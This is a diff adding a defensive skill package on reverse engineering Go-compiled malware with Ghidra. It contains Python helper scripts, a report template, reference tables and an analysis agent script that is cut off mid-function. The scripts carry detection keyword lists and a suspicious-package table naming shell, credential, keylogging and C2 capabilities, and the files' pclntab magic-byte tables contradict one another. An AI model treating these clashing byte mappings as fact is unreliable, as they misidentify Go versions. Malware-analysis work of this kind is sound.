4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,320 @@
|
||||
---
|
||||
name: analyzing-golang-malware-with-ghidra
|
||||
description: Reverse engineer Go-compiled malware in Ghidra by parsing Go buildinfo
|
||||
and pclntab structures, recovering stripped/obfuscated function names (e.g. via
|
||||
GoResolver), and extracting embedded module/dependency strings and types from Go
|
||||
binaries. Use when analyzing a Go-language malware sample, deobfuscating a garble-packed
|
||||
Go binary, or recovering function names and third-party dependencies from a stripped
|
||||
Go executable.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- golang
|
||||
- ghidra
|
||||
- reverse-engineering
|
||||
- malware-analysis
|
||||
- binary-analysis
|
||||
- go-malware
|
||||
- disassembly
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1027
|
||||
- T1620
|
||||
- T1140
|
||||
- T1059
|
||||
---
|
||||
# Analyzing Golang Malware with Ghidra
|
||||
|
||||
## Overview
|
||||
|
||||
Go (Golang) has become a popular language for malware authors due to its cross-compilation capabilities, static linking that produces self-contained binaries, and the complexity it introduces for reverse engineering. Go binaries contain the entire runtime, standard library, and all dependencies statically linked, resulting in large binaries (often 5-15MB) with thousands of functions. Ghidra struggles with Go-specific string formats (non-null-terminated), stripped function names, and goroutine concurrency patterns. Specialized tools like GoResolver (Volexity, 2025) use control-flow graph similarity to automatically deobfuscate and recover function names in stripped or obfuscated Go binaries.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing golang malware with ghidra
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Ghidra 11.0+ with JDK 17+
|
||||
- GoResolver plugin (for function name recovery)
|
||||
- Go Reverse Engineering Tool Kit (go-re.tk)
|
||||
- Python 3.9+ for helper scripts
|
||||
- Understanding of Go runtime internals (goroutines, channels, interfaces)
|
||||
- Familiarity with Go binary structure (pclntab, moduledata, itab)
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Go Binary Structure
|
||||
|
||||
Go binaries embed rich metadata in the `pclntab` (PC Line Table) structure, which maps program counters to function names, source files, and line numbers. Even stripped binaries retain this metadata. The `moduledata` structure contains pointers to type information, itabs (interface tables), and the pclntab itself. Go strings are stored as a pointer-length pair rather than null-terminated C strings.
|
||||
|
||||
### Function Recovery in Stripped Binaries
|
||||
|
||||
Despite stripping symbol tables, Go binaries retain function names within the pclntab. However, obfuscation tools like garble rename functions to random strings. GoResolver addresses this by computing control-flow graph signatures of obfuscated functions and matching them against a database of known Go standard library and third-party package functions.
|
||||
|
||||
### Crate/Dependency Extraction
|
||||
|
||||
Go's dependency management embeds module paths and version strings in the binary. Extracting these reveals the malware's third-party dependencies (HTTP libraries, encryption packages, C2 frameworks), which provides insight into capabilities without full reverse engineering.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Initial Binary Analysis
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Analyze Go binary metadata for malware analysis."""
|
||||
import struct
|
||||
import sys
|
||||
import re
|
||||
|
||||
|
||||
def find_go_build_info(data):
|
||||
"""Extract Go build information from binary."""
|
||||
# Go buildinfo magic: \xff Go buildinf:
|
||||
magic = b'\xff Go buildinf:'
|
||||
offset = data.find(magic)
|
||||
if offset == -1:
|
||||
return None
|
||||
|
||||
print(f"[+] Go build info at offset 0x{offset:x}")
|
||||
|
||||
# Extract Go version string nearby
|
||||
go_version = re.search(rb'go\d+\.\d+(?:\.\d+)?', data[offset:offset+256])
|
||||
if go_version:
|
||||
print(f" Go Version: {go_version.group().decode()}")
|
||||
|
||||
return offset
|
||||
|
||||
|
||||
def find_pclntab(data):
|
||||
"""Locate the pclntab (PC Line Table) structure."""
|
||||
# pclntab magic bytes vary by Go version
|
||||
magics = {
|
||||
b'\xfb\xff\xff\xff\x00\x00': "Go 1.2-1.15",
|
||||
b'\xfa\xff\xff\xff\x00\x00': "Go 1.16-1.17",
|
||||
b'\xf1\xff\xff\xff\x00\x00': "Go 1.18-1.19",
|
||||
b'\xf0\xff\xff\xff\x00\x00': "Go 1.20+",
|
||||
}
|
||||
|
||||
for magic, version in magics.items():
|
||||
offset = data.find(magic)
|
||||
if offset != -1:
|
||||
print(f"[+] pclntab found at 0x{offset:x} ({version})")
|
||||
return offset, version
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def extract_function_names(data, pclntab_offset):
|
||||
"""Extract function names from pclntab."""
|
||||
if pclntab_offset is None:
|
||||
return []
|
||||
|
||||
functions = []
|
||||
# Function name strings follow specific patterns
|
||||
func_pattern = re.compile(
|
||||
rb'(?:main|runtime|fmt|net|os|crypto|encoding|io|sync|'
|
||||
rb'syscall|reflect|strings|bytes|path|time|math|sort|'
|
||||
rb'github\.com|golang\.org)[/\.][\w/.]+',
|
||||
)
|
||||
|
||||
for match in func_pattern.finditer(data):
|
||||
name = match.group().decode('utf-8', errors='replace')
|
||||
if len(name) > 4 and len(name) < 200:
|
||||
functions.append(name)
|
||||
|
||||
return sorted(set(functions))
|
||||
|
||||
|
||||
def extract_go_strings(data):
|
||||
"""Extract Go-style strings (pointer+length pairs)."""
|
||||
# Go strings are not null-terminated; extract readable sequences
|
||||
strings = []
|
||||
ascii_pattern = re.compile(rb'[\x20-\x7e]{10,}')
|
||||
|
||||
for match in ascii_pattern.finditer(data):
|
||||
s = match.group().decode('ascii')
|
||||
# Filter for interesting malware strings
|
||||
interesting = [
|
||||
'http', 'https', 'tcp', 'udp', 'dns',
|
||||
'cmd', 'shell', 'exec', 'upload', 'download',
|
||||
'encrypt', 'decrypt', 'key', 'token', 'password',
|
||||
'c2', 'beacon', 'agent', 'implant', 'bot',
|
||||
'mutex', 'persist', 'registry', 'scheduled',
|
||||
]
|
||||
if any(kw in s.lower() for kw in interesting):
|
||||
strings.append(s)
|
||||
|
||||
return strings
|
||||
|
||||
|
||||
def extract_dependencies(data):
|
||||
"""Extract Go module dependencies from binary."""
|
||||
deps = []
|
||||
# Module paths follow pattern: github.com/user/repo
|
||||
dep_pattern = re.compile(
|
||||
rb'((?:github\.com|gitlab\.com|golang\.org|gopkg\.in|'
|
||||
rb'go\.etcd\.io|google\.golang\.org)/[^\x00\s]{5,80})'
|
||||
)
|
||||
|
||||
for match in dep_pattern.finditer(data):
|
||||
dep = match.group().decode('utf-8', errors='replace')
|
||||
deps.append(dep)
|
||||
|
||||
unique_deps = sorted(set(deps))
|
||||
return unique_deps
|
||||
|
||||
|
||||
def analyze_go_binary(filepath):
|
||||
"""Full analysis of Go malware binary."""
|
||||
with open(filepath, 'rb') as f:
|
||||
data = f.read()
|
||||
|
||||
print(f"[+] Analyzing Go binary: {filepath}")
|
||||
print(f" File size: {len(data):,} bytes")
|
||||
print("=" * 60)
|
||||
|
||||
# Build info
|
||||
find_go_build_info(data)
|
||||
|
||||
# pclntab
|
||||
pclntab_offset, go_version = find_pclntab(data)
|
||||
|
||||
# Functions
|
||||
functions = extract_function_names(data, pclntab_offset)
|
||||
print(f"\n[+] Recovered {len(functions)} function names")
|
||||
|
||||
# Categorize functions
|
||||
categories = {
|
||||
"network": [], "crypto": [], "os_exec": [],
|
||||
"file_io": [], "main": [], "third_party": [],
|
||||
}
|
||||
for f in functions:
|
||||
if 'net/' in f or 'http' in f.lower():
|
||||
categories["network"].append(f)
|
||||
elif 'crypto' in f:
|
||||
categories["crypto"].append(f)
|
||||
elif 'os/exec' in f or 'syscall' in f:
|
||||
categories["os_exec"].append(f)
|
||||
elif 'os.' in f or 'io/' in f:
|
||||
categories["file_io"].append(f)
|
||||
elif f.startswith('main.'):
|
||||
categories["main"].append(f)
|
||||
elif 'github.com' in f or 'golang.org' in f:
|
||||
categories["third_party"].append(f)
|
||||
|
||||
for cat, funcs in categories.items():
|
||||
if funcs:
|
||||
print(f"\n [{cat}] ({len(funcs)} functions):")
|
||||
for fn in funcs[:10]:
|
||||
print(f" {fn}")
|
||||
|
||||
# Dependencies
|
||||
deps = extract_dependencies(data)
|
||||
print(f"\n[+] Dependencies ({len(deps)}):")
|
||||
for dep in deps[:20]:
|
||||
print(f" {dep}")
|
||||
|
||||
# Suspicious strings
|
||||
sus_strings = extract_go_strings(data)
|
||||
print(f"\n[+] Suspicious strings ({len(sus_strings)}):")
|
||||
for s in sus_strings[:20]:
|
||||
print(f" {s}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <go_binary>")
|
||||
sys.exit(1)
|
||||
analyze_go_binary(sys.argv[1])
|
||||
```
|
||||
|
||||
### Step 2: Ghidra Analysis Script
|
||||
|
||||
```python
|
||||
# Ghidra script (run within Ghidra's script manager)
|
||||
# Save as AnalyzeGoBinary.py in Ghidra scripts directory
|
||||
|
||||
# @category MalwareAnalysis
|
||||
# @description Analyze Go binary structure and recover metadata
|
||||
|
||||
def analyze_go_binary_ghidra():
|
||||
"""Ghidra script for Go binary analysis."""
|
||||
from ghidra.program.model.mem import MemoryAccessException
|
||||
|
||||
program = getCurrentProgram()
|
||||
memory = program.getMemory()
|
||||
listing = program.getListing()
|
||||
|
||||
print("[+] Go Binary Analysis Script")
|
||||
print(f" Program: {program.getName()}")
|
||||
|
||||
# Find pclntab
|
||||
pclntab_magics = [
|
||||
bytes([0xf0, 0xff, 0xff, 0xff]), # Go 1.20+
|
||||
bytes([0xf1, 0xff, 0xff, 0xff]), # Go 1.18-1.19
|
||||
bytes([0xfa, 0xff, 0xff, 0xff]), # Go 1.16-1.17
|
||||
bytes([0xfb, 0xff, 0xff, 0xff]), # Go 1.2-1.15
|
||||
]
|
||||
|
||||
for magic in pclntab_magics:
|
||||
addr = memory.findBytes(
|
||||
program.getMinAddress(), magic, None, True, None
|
||||
)
|
||||
if addr:
|
||||
print(f"[+] pclntab found at {addr}")
|
||||
# Create label
|
||||
program.getSymbolTable().createLabel(
|
||||
addr, "go_pclntab", None,
|
||||
ghidra.program.model.symbol.SourceType.ANALYSIS
|
||||
)
|
||||
break
|
||||
|
||||
# Fix Go string definitions
|
||||
# Go strings are ptr+len, not null terminated
|
||||
print("[+] Fixing Go string references...")
|
||||
|
||||
# Search for function names containing package paths
|
||||
symbol_table = program.getSymbolTable()
|
||||
func_count = 0
|
||||
for symbol in symbol_table.getAllSymbols(True):
|
||||
name = symbol.getName()
|
||||
if ('.' in name and
|
||||
any(pkg in name for pkg in
|
||||
['main.', 'runtime.', 'net.', 'crypto.', 'os.'])):
|
||||
func_count += 1
|
||||
|
||||
print(f"[+] Found {func_count} Go function symbols")
|
||||
|
||||
|
||||
# Execute
|
||||
analyze_go_binary_ghidra()
|
||||
```
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- Go version and build information extracted from binary
|
||||
- pclntab located and parsed for function name recovery
|
||||
- Third-party dependencies identified revealing malware capabilities
|
||||
- Main package functions enumerated for targeted analysis
|
||||
- Network, crypto, and OS exec functions categorized
|
||||
- Ghidra analysis correctly labels Go runtime structures
|
||||
|
||||
## References
|
||||
|
||||
- [CUJO AI - Reverse Engineering Go Binaries with Ghidra](https://cujo.com/blog/reverse-engineering-go-binaries-with-ghidra/)
|
||||
- [Volexity GoResolver](https://www.volexity.com/blog/2025/04/01/goresolver-using-control-flow-graph-similarity-to-deobfuscate-golang-binaries-automatically/)
|
||||
- [Go Reverse Engineering Tool Kit](https://go-re.tk/about/)
|
||||
- [SentinelOne AlphaGolang](https://www.sentinelone.com/labs/alphagolang-a-step-by-step-go-malware-reversing-methodology-for-ida-pro/)
|
||||
- [Go Binary Reversing Notes](https://gist.github.com/0xdevalias/4e430914124c3fd2c51cb7ac2801acba)
|
||||
@@ -0,0 +1,35 @@
|
||||
# Go Malware Analysis Report
|
||||
|
||||
## Sample Information
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| SHA-256 | |
|
||||
| File Size | |
|
||||
| Go Version | |
|
||||
| Architecture | amd64 / arm64 / 386 |
|
||||
| Stripped | Yes / No |
|
||||
| Obfuscated | Yes (garble) / No |
|
||||
|
||||
## Recovered Functions
|
||||
| Category | Count | Key Functions |
|
||||
|----------|-------|---------------|
|
||||
| main | | |
|
||||
| networking | | |
|
||||
| crypto | | |
|
||||
| os/exec | | |
|
||||
| third-party | | |
|
||||
|
||||
## Dependencies
|
||||
| Module | Purpose |
|
||||
|--------|---------|
|
||||
| | |
|
||||
|
||||
## C2 Infrastructure
|
||||
| Indicator | Type | Value |
|
||||
|-----------|------|-------|
|
||||
| | URL / IP / Domain | |
|
||||
|
||||
## Recommendations
|
||||
1. Block identified C2 infrastructure
|
||||
2. Create YARA rule for unique Go function signatures
|
||||
3. Monitor for similar Go binary compilation artifacts
|
||||
@@ -0,0 +1,90 @@
|
||||
# API Reference: Go Malware Analysis with Ghidra
|
||||
|
||||
## Ghidra Go Analysis Setup
|
||||
|
||||
### GoResolver Script (Volexity)
|
||||
```bash
|
||||
# Install GoResolver for stripped Go binary function recovery
|
||||
git clone https://github.com/volexity/GoResolver
|
||||
# Run against Ghidra project
|
||||
analyzeHeadless /ghidra_projects MyProject -process go_malware.exe \
|
||||
-postScript GoResolver.java
|
||||
```
|
||||
|
||||
### Ghidra Built-in Go Support (10.3+)
|
||||
```
|
||||
File > Import > Select Go binary
|
||||
Analysis > Auto Analyze (includes GolangAnalyzer)
|
||||
Window > Function Tags > Filter "go."
|
||||
```
|
||||
|
||||
## Go Binary Characteristics
|
||||
|
||||
### Build Info Magic
|
||||
```
|
||||
Offset in .go.buildinfo section: "\xff Go buildinf:"
|
||||
```
|
||||
|
||||
### gopclntab Magic Bytes
|
||||
| Go Version | Magic |
|
||||
|------------|-------|
|
||||
| 1.2-1.15 | `FB FF FF FF 00 00` |
|
||||
| 1.16-1.17 | `FA FF FF FF 00 00` |
|
||||
| 1.18-1.19 | `F0 FF FF FF 00 00` |
|
||||
| 1.20+ | `F1 FF FF FF 00 00` |
|
||||
|
||||
### String Format
|
||||
Go strings are length-prefixed (not null-terminated):
|
||||
```
|
||||
struct GoString {
|
||||
char *ptr; // pointer to string data
|
||||
int64 length; // string length
|
||||
};
|
||||
```
|
||||
|
||||
## Go-Specific Ghidra Scripts
|
||||
|
||||
### GoReSym (Mandiant)
|
||||
```bash
|
||||
GoReSym -t -d -p /path/to/binary
|
||||
# -t: Recover type information
|
||||
# -d: Dump function metadata
|
||||
# -p: Print package listing
|
||||
```
|
||||
|
||||
### redress (Go Reverse Engineering)
|
||||
```bash
|
||||
redress -src binary.exe # Reconstruct source tree
|
||||
redress -pkg binary.exe # List packages
|
||||
redress -type binary.exe # Type information
|
||||
redress -string binary.exe # Go string extraction
|
||||
redress -interface binary.exe # Interface types
|
||||
```
|
||||
|
||||
## Go Obfuscation Tools
|
||||
|
||||
| Tool | Technique | Detection |
|
||||
|------|-----------|-----------|
|
||||
| garble | Function name hashing, literal obfuscation | Hash-like symbols, missing debug info |
|
||||
| gobfuscate | Package/function renaming | Random 8-char names |
|
||||
| go-strip | Symbol table removal | Missing gopclntab entries |
|
||||
|
||||
## Common Go Malware Families
|
||||
|
||||
| Family | Type | Notable Packages |
|
||||
|--------|------|-----------------|
|
||||
| Sliver | C2 implant | protobuf, grpc, mtls |
|
||||
| Merlin | C2 agent | http2, jose, websocket |
|
||||
| Sunlogin/Cobalt | RAT | screenshot, clipboard, keylog |
|
||||
| BianLian | Ransomware | crypto/aes, filepath.Walk |
|
||||
| Royal | Ransomware | goroutine-based parallel encryption |
|
||||
|
||||
## Key Ghidra Analysis Steps
|
||||
```
|
||||
1. Search > For Strings > "go1." (version identification)
|
||||
2. Search > For Bytes > FB FF FF FF (gopclntab)
|
||||
3. Symbol Table > Filter "main." (entry points)
|
||||
4. Navigation > Go To "runtime.main" (program start)
|
||||
5. Decompiler > Check goroutine spawns (runtime.newproc)
|
||||
6. Data Types > Apply GoString struct to string references
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
# Go Binary Analysis Standards
|
||||
|
||||
## Go Binary Structure
|
||||
| Component | Description | Location |
|
||||
|-----------|-------------|----------|
|
||||
| pclntab | PC-to-function mapping table | .gopclntab or .text |
|
||||
| moduledata | Runtime metadata structure | .noptrdata |
|
||||
| itab | Interface method tables | .rodata |
|
||||
| buildinfo | Go version and module info | .go.buildinfo |
|
||||
| typelinks | Type descriptor table | .rodata |
|
||||
|
||||
## pclntab Magic Bytes by Go Version
|
||||
| Magic | Go Version |
|
||||
|-------|-----------|
|
||||
| 0xFBFFFFFF | 1.2 - 1.15 |
|
||||
| 0xFAFFFFFF | 1.16 - 1.17 |
|
||||
| 0xF1FFFFFF | 1.18 - 1.19 |
|
||||
| 0xF0FFFFFF | 1.20+ |
|
||||
|
||||
## Common Go Malware Families
|
||||
- Sliver C2 implant
|
||||
- Geacon (Go Cobalt Strike beacon)
|
||||
- GoBruteforcer
|
||||
- Kaiji botnet
|
||||
- Chaos botnet (Go-based)
|
||||
|
||||
## References
|
||||
- [Go Runtime Source](https://github.com/golang/go/tree/master/src/runtime)
|
||||
- [Go Internal ABI](https://go.dev/s/regcallabi)
|
||||
@@ -0,0 +1,37 @@
|
||||
# Go Malware Analysis Workflows
|
||||
|
||||
## Workflow 1: Stripped Binary Recovery
|
||||
```
|
||||
[Stripped Go Binary] --> [Find pclntab] --> [Recover Function Names]
|
||||
|
|
||||
v
|
||||
[Apply GoResolver] --> [Deobfuscate Names]
|
||||
|
|
||||
v
|
||||
[Categorize Functions]
|
||||
```
|
||||
|
||||
## Workflow 2: Full Ghidra Analysis
|
||||
```
|
||||
[Go Binary] --> [Import to Ghidra] --> [Run Go Analysis Scripts]
|
||||
|
|
||||
v
|
||||
[Fix String References]
|
||||
|
|
||||
v
|
||||
[Identify main Package]
|
||||
|
|
||||
v
|
||||
[Analyze C2/Network Logic]
|
||||
```
|
||||
|
||||
## Workflow 3: Dependency-Based Capability Assessment
|
||||
```
|
||||
[Go Binary] --> [Extract Module Info] --> [List Dependencies]
|
||||
|
|
||||
v
|
||||
[Map to Capabilities]
|
||||
|
|
||||
v
|
||||
[Prioritize Analysis]
|
||||
```
|
||||
@@ -0,0 +1,267 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Go malware analysis agent for Ghidra-assisted reverse engineering.
|
||||
|
||||
Analyzes Go binaries to extract function names, strings, build metadata,
|
||||
package information, and detects common Go malware characteristics.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import hashlib
|
||||
import re
|
||||
import math
|
||||
from collections import Counter
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
"""Compute SHA-256 hash of file."""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
def shannon_entropy(data):
|
||||
"""Calculate Shannon entropy."""
|
||||
if not data:
|
||||
return 0.0
|
||||
freq = Counter(data)
|
||||
length = len(data)
|
||||
return -sum((c / length) * math.log2(c / length) for c in freq.values())
|
||||
|
||||
|
||||
def detect_go_binary(filepath):
|
||||
"""Detect if a binary is compiled with Go and extract version info."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
indicators = {
|
||||
"is_go_binary": False,
|
||||
"go_version": None,
|
||||
"go_buildinfo": False,
|
||||
"gopclntab_found": False,
|
||||
}
|
||||
|
||||
# Go build info magic
|
||||
buildinfo_magic = b"\xff Go buildinf:"
|
||||
offset = data.find(buildinfo_magic)
|
||||
if offset != -1:
|
||||
indicators["is_go_binary"] = True
|
||||
indicators["go_buildinfo"] = True
|
||||
|
||||
# Go version string
|
||||
version_pattern = rb"go(\d+\.\d+(?:\.\d+)?)"
|
||||
matches = re.findall(version_pattern, data)
|
||||
if matches:
|
||||
indicators["is_go_binary"] = True
|
||||
versions = sorted(set(m.decode() for m in matches))
|
||||
indicators["go_version"] = versions[-1] if versions else None
|
||||
|
||||
# gopclntab (Go PC line table) magic bytes
|
||||
gopclntab_magics = [
|
||||
b"\xfb\xff\xff\xff\x00\x00", # Go 1.2-1.15
|
||||
b"\xfa\xff\xff\xff\x00\x00", # Go 1.16-1.17
|
||||
b"\xf0\xff\xff\xff\x00\x00", # Go 1.18+
|
||||
b"\xf1\xff\xff\xff\x00\x00", # Go 1.20+
|
||||
]
|
||||
for magic in gopclntab_magics:
|
||||
if magic in data:
|
||||
indicators["gopclntab_found"] = True
|
||||
indicators["is_go_binary"] = True
|
||||
break
|
||||
|
||||
# Runtime strings
|
||||
go_strings = [b"runtime.main", b"runtime.goexit", b"runtime.gopanic",
|
||||
b"runtime.newproc", b"GOROOT", b"GOPATH"]
|
||||
found_runtime = sum(1 for s in go_strings if s in data)
|
||||
if found_runtime >= 2:
|
||||
indicators["is_go_binary"] = True
|
||||
indicators["runtime_strings_found"] = found_runtime
|
||||
|
||||
return indicators
|
||||
|
||||
|
||||
def extract_go_strings(filepath, min_length=6):
|
||||
"""Extract Go-style strings (length-prefixed, not null-terminated)."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
# Standard ASCII string extraction
|
||||
ascii_pattern = re.compile(rb"[\x20-\x7e]{%d,}" % min_length)
|
||||
strings = [m.group().decode("ascii", errors="replace") for m in ascii_pattern.finditer(data)]
|
||||
return strings
|
||||
|
||||
|
||||
def extract_go_packages(strings_list):
|
||||
"""Identify Go packages from extracted strings."""
|
||||
packages = set()
|
||||
pkg_pattern = re.compile(r"^([a-zA-Z0-9_]+(?:/[a-zA-Z0-9_.-]+)+)\.")
|
||||
for s in strings_list:
|
||||
match = pkg_pattern.match(s)
|
||||
if match:
|
||||
packages.add(match.group(1))
|
||||
# Also look for known Go import paths
|
||||
for s in strings_list:
|
||||
if s.startswith("github.com/") or s.startswith("golang.org/"):
|
||||
parts = s.split("/")
|
||||
if len(parts) >= 3:
|
||||
packages.add("/".join(parts[:3]))
|
||||
return sorted(packages)
|
||||
|
||||
|
||||
SUSPICIOUS_GO_PACKAGES = {
|
||||
"github.com/kbinani/screenshot": "Screen capture capability",
|
||||
"github.com/atotto/clipboard": "Clipboard access",
|
||||
"github.com/go-vgo/robotgo": "Desktop automation / keylogging",
|
||||
"github.com/miekg/dns": "Custom DNS resolution (C2/tunneling)",
|
||||
"golang.org/x/crypto/ssh": "SSH client (lateral movement)",
|
||||
"github.com/shirou/gopsutil": "System enumeration",
|
||||
"github.com/mitchellh/go-ps": "Process listing",
|
||||
"github.com/gobuffalo/packr": "Binary resource embedding",
|
||||
"github.com/Ne0nd0g/merlin": "Merlin C2 agent",
|
||||
"github.com/BishopFox/sliver": "Sliver C2 framework",
|
||||
"github.com/traefik/yaegi": "Go interpreter (dynamic execution)",
|
||||
}
|
||||
|
||||
|
||||
def detect_suspicious_packages(packages):
|
||||
"""Flag suspicious Go packages commonly used in malware."""
|
||||
findings = []
|
||||
for pkg in packages:
|
||||
for sus_pkg, description in SUSPICIOUS_GO_PACKAGES.items():
|
||||
if sus_pkg in pkg:
|
||||
findings.append({"package": pkg, "concern": description})
|
||||
return findings
|
||||
|
||||
|
||||
def analyze_sections(filepath):
|
||||
"""Analyze PE/ELF sections for Go binary characteristics."""
|
||||
with open(filepath, "rb") as f:
|
||||
magic = f.read(4)
|
||||
f.seek(0)
|
||||
data = f.read()
|
||||
|
||||
sections = []
|
||||
if magic[:2] == b"MZ": # PE
|
||||
try:
|
||||
import pefile
|
||||
pe = pefile.PE(data=data)
|
||||
for section in pe.sections:
|
||||
name = section.Name.rstrip(b"\x00").decode("ascii", errors="replace")
|
||||
entropy = section.get_entropy()
|
||||
sections.append({
|
||||
"name": name, "virtual_size": section.Misc_VirtualSize,
|
||||
"raw_size": section.SizeOfRawData, "entropy": round(entropy, 3),
|
||||
})
|
||||
pe.close()
|
||||
except ImportError:
|
||||
sections.append({"note": "pefile not installed"})
|
||||
elif magic[:4] == b"\x7fELF":
|
||||
try:
|
||||
from elftools.elf.elffile import ELFFile
|
||||
from io import BytesIO
|
||||
elf = ELFFile(BytesIO(data))
|
||||
for section in elf.iter_sections():
|
||||
sec_data = section.data() if section.header.sh_size > 0 else b""
|
||||
entropy = shannon_entropy(sec_data) if sec_data else 0
|
||||
sections.append({
|
||||
"name": section.name, "size": section.header.sh_size,
|
||||
"entropy": round(entropy, 3), "type": section.header.sh_type,
|
||||
})
|
||||
except ImportError:
|
||||
sections.append({"note": "pyelftools not installed"})
|
||||
return sections
|
||||
|
||||
|
||||
def detect_obfuscation(go_info, strings_list):
|
||||
"""Detect Go binary obfuscation (garble, gobfuscate)."""
|
||||
indicators = {"obfuscated": False, "techniques": []}
|
||||
|
